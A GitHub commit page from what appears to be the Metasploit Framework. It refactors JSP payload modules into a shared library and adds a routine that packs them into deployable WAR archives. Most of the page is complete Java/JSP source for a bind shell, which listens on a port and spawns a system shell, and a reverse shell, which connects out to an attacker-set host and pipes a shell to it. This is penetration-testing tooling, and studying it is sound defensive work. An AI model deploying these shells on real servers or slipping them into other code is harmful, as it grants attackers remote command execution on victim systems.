Skip to content

Commit bda93c2

Browse files
wchen-r7wchen-r7
committed
Land rapid7#2811 - Add generate_war to jsp_shell payloads
2 parents a58698c + f5f1896 commit bda93c2

File tree

4 files changed

+161
-124
lines changed

4 files changed

+161
-124
lines changed

‎lib/msf/core/payload/jsp.rb‎

Lines changed: 154 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,154 @@
1+
# -*- coding: binary -*-
2+
require 'msf/core'
3+
require 'rex'
4+
5+
module Msf::Payload::JSP
6+
# Outputs jsp that spawns a bind TCP shell
7+
# @return [String] jsp code that executes bind TCP payload
8+
def jsp_bind_tcp
9+
# Modified from: http://www.security.org.sg/code/jspreverse.html
10+
jsp = <<-EOS
11+
<%@page import="java.lang.*"%>
12+
<%@page import="java.util.*"%>
13+
<%@page import="java.io.*"%>
14+
<%@page import="java.net.*"%>
15+
16+
<%
17+
class StreamConnector extends Thread
18+
{
19+
InputStream is;
20+
OutputStream os;
21+
22+
StreamConnector( InputStream is, OutputStream os )
23+
{
24+
this.is = is;
25+
this.os = os;
26+
}
27+
28+
public void run()
29+
{
30+
BufferedReader in = null;
31+
BufferedWriter out = null;
32+
try
33+
{
34+
in = new BufferedReader( new InputStreamReader( this.is ) );
35+
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
36+
char buffer[] = new char[8192];
37+
int length;
38+
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
39+
{
40+
out.write( buffer, 0, length );
41+
out.flush();
42+
}
43+
} catch( Exception e ){}
44+
try
45+
{
46+
if( in != null )
47+
in.close();
48+
if( out != null )
49+
out.close();
50+
} catch( Exception e ){}
51+
}
52+
}
53+
54+
try
55+
{
56+
ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} );
57+
Socket client_socket = server_socket.accept();
58+
server_socket.close();
59+
Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" );
60+
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
61+
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
62+
} catch( Exception e ) {}
63+
%>
64+
EOS
65+
66+
return jsp
67+
end
68+
69+
# Outputs jsp code that spawns a reverse TCP shell
70+
# @return [String] jsp code that executes reverse TCP payload
71+
def jsp_reverse_tcp
72+
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
73+
jsp = <<-EOS
74+
<%@page import="java.lang.*"%>
75+
<%@page import="java.util.*"%>
76+
<%@page import="java.io.*"%>
77+
<%@page import="java.net.*"%>
78+
79+
<%
80+
class StreamConnector extends Thread
81+
{
82+
InputStream is;
83+
OutputStream os;
84+
85+
StreamConnector( InputStream is, OutputStream os )
86+
{
87+
this.is = is;
88+
this.os = os;
89+
}
90+
91+
public void run()
92+
{
93+
BufferedReader in = null;
94+
BufferedWriter out = null;
95+
try
96+
{
97+
in = new BufferedReader( new InputStreamReader( this.is ) );
98+
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
99+
char buffer[] = new char[8192];
100+
int length;
101+
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
102+
{
103+
out.write( buffer, 0, length );
104+
out.flush();
105+
}
106+
} catch( Exception e ){}
107+
try
108+
{
109+
if( in != null )
110+
in.close();
111+
if( out != null )
112+
out.close();
113+
} catch( Exception e ){}
114+
}
115+
}
116+
117+
try
118+
{
119+
Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} );
120+
Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" );
121+
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
122+
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
123+
} catch( Exception e ) {}
124+
%>
125+
EOS
126+
return jsp
127+
end
128+
129+
# Wraps the jsp payload into a war
130+
# @return [Rex::Zip::Jar] a war to execute the jsp payload
131+
def generate_war
132+
jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp"
133+
134+
zip = Rex::Zip::Jar.new
135+
136+
web_xml = <<-EOF
137+
<?xml version="1.0"?>
138+
<!DOCTYPE web-app PUBLIC
139+
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
140+
"http://java.sun.com/dtd/web-app_2_3.dtd">
141+
<web-app>
142+
<welcome-file-list>
143+
<welcome-file>#{jsp_name}</welcome-file>
144+
</welcome-file-list>
145+
</web-app>
146+
EOF
147+
148+
zip.add_file("WEB-INF/", '')
149+
zip.add_file("WEB-INF/web.xml", web_xml)
150+
zip.add_file(jsp_name, generate)
151+
152+
zip
153+
end
154+
end

‎modules/payloads/singles/java/jsp_shell_bind_tcp.rb‎

Lines changed: 3 additions & 62 deletions
Original file line numberDiff line numberDiff line change
@@ -4,13 +4,15 @@
44
##
55

66
require 'msf/core'
7+
require 'msf/core/payload/jsp'
78
require 'msf/core/handler/bind_tcp'
89
require 'msf/base/sessions/command_shell'
910
require 'msf/base/sessions/command_shell_options'
1011

1112
module Metasploit3
1213

1314
include Msf::Payload::Single
15+
include Msf::Payload::JSP
1416
include Msf::Sessions::CommandShellOptions
1517

1618
def initialize(info = {})
@@ -34,68 +36,7 @@ def initialize(info = {})
3436

3537

3638
def generate
37-
# Modified from: http://www.security.org.sg/code/jspreverse.html
38-
jsp = %q{
39-
<%@page import="java.lang.*"%>
40-
<%@page import="java.util.*"%>
41-
<%@page import="java.io.*"%>
42-
<%@page import="java.net.*"%>
43-
44-
<%
45-
class StreamConnector extends Thread
46-
{
47-
InputStream is;
48-
OutputStream os;
49-
50-
StreamConnector( InputStream is, OutputStream os )
51-
{
52-
this.is = is;
53-
this.os = os;
54-
}
55-
56-
public void run()
57-
{
58-
BufferedReader in = null;
59-
BufferedWriter out = null;
60-
try
61-
{
62-
in = new BufferedReader( new InputStreamReader( this.is ) );
63-
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
64-
char buffer[] = new char[8192];
65-
int length;
66-
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
67-
{
68-
out.write( buffer, 0, length );
69-
out.flush();
70-
}
71-
} catch( Exception e ){}
72-
try
73-
{
74-
if( in != null )
75-
in.close();
76-
if( out != null )
77-
out.close();
78-
} catch( Exception e ){}
79-
}
80-
}
81-
82-
try
83-
{
84-
ServerSocket server_socket = new ServerSocket( LPORT );
85-
Socket client_socket = server_socket.accept();
86-
server_socket.close();
87-
Process process = Runtime.getRuntime().exec( "SHELL" );
88-
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
89-
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
90-
} catch( Exception e ) {}
91-
%>
92-
}
93-
94-
jsp = jsp.gsub( "LPORT", datastore['LPORT'].to_s )
95-
96-
jsp = jsp.gsub( "SHELL", datastore['SHELL'] )
97-
98-
return super + jsp
39+
return super + jsp_bind_tcp
9940
end
10041

10142
end

‎modules/payloads/singles/java/jsp_shell_reverse_tcp.rb‎

Lines changed: 3 additions & 61 deletions
Original file line numberDiff line numberDiff line change
@@ -4,13 +4,15 @@
44
##
55

66
require 'msf/core'
7+
require 'msf/core/payload/jsp'
78
require 'msf/core/handler/reverse_tcp'
89
require 'msf/base/sessions/command_shell'
910
require 'msf/base/sessions/command_shell_options'
1011

1112
module Metasploit3
1213

1314
include Msf::Payload::Single
15+
include Msf::Payload::JSP
1416
include Msf::Sessions::CommandShellOptions
1517

1618
def initialize(info = {})
@@ -34,72 +36,12 @@ def initialize(info = {})
3436

3537

3638
def generate
37-
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
38-
jsp = %q{
39-
<%@page import="java.lang.*"%>
40-
<%@page import="java.util.*"%>
41-
<%@page import="java.io.*"%>
42-
<%@page import="java.net.*"%>
43-
44-
<%
45-
class StreamConnector extends Thread
46-
{
47-
InputStream is;
48-
OutputStream os;
49-
50-
StreamConnector( InputStream is, OutputStream os )
51-
{
52-
this.is = is;
53-
this.os = os;
54-
}
55-
56-
public void run()
57-
{
58-
BufferedReader in = null;
59-
BufferedWriter out = null;
60-
try
61-
{
62-
in = new BufferedReader( new InputStreamReader( this.is ) );
63-
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
64-
char buffer[] = new char[8192];
65-
int length;
66-
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
67-
{
68-
out.write( buffer, 0, length );
69-
out.flush();
70-
}
71-
} catch( Exception e ){}
72-
try
73-
{
74-
if( in != null )
75-
in.close();
76-
if( out != null )
77-
out.close();
78-
} catch( Exception e ){}
79-
}
80-
}
81-
82-
try
83-
{
84-
Socket socket = new Socket( "LHOST", LPORT );
85-
Process process = Runtime.getRuntime().exec( "SHELL" );
86-
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
87-
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
88-
} catch( Exception e ) {}
89-
%>
90-
}
9139

9240
if( !datastore['LHOST'] or datastore['LHOST'].empty? )
9341
return super
9442
end
9543

96-
jsp = jsp.gsub( "LHOST", datastore['LHOST'] )
97-
98-
jsp = jsp.gsub( "LPORT", datastore['LPORT'].to_s )
99-
100-
jsp = jsp.gsub( "SHELL", datastore['SHELL'] )
101-
102-
return super + jsp
44+
return super + jsp_reverse_tcp
10345
end
10446

10547
end

‎msfpayload‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -213,7 +213,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/)
213213
plat = payload.platform.platforms
214214

215215
exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf)
216-
if(!exe and plat.index(Msf::Module::Platform::Java))
216+
if (!exe && payload.respond_to?(:generate_war))
217217
exe = payload.generate_war.pack
218218
elsif exe
219219
exe = Msf::Util::EXE.to_jsp_war(exe)

0 commit comments

Comments
 (0)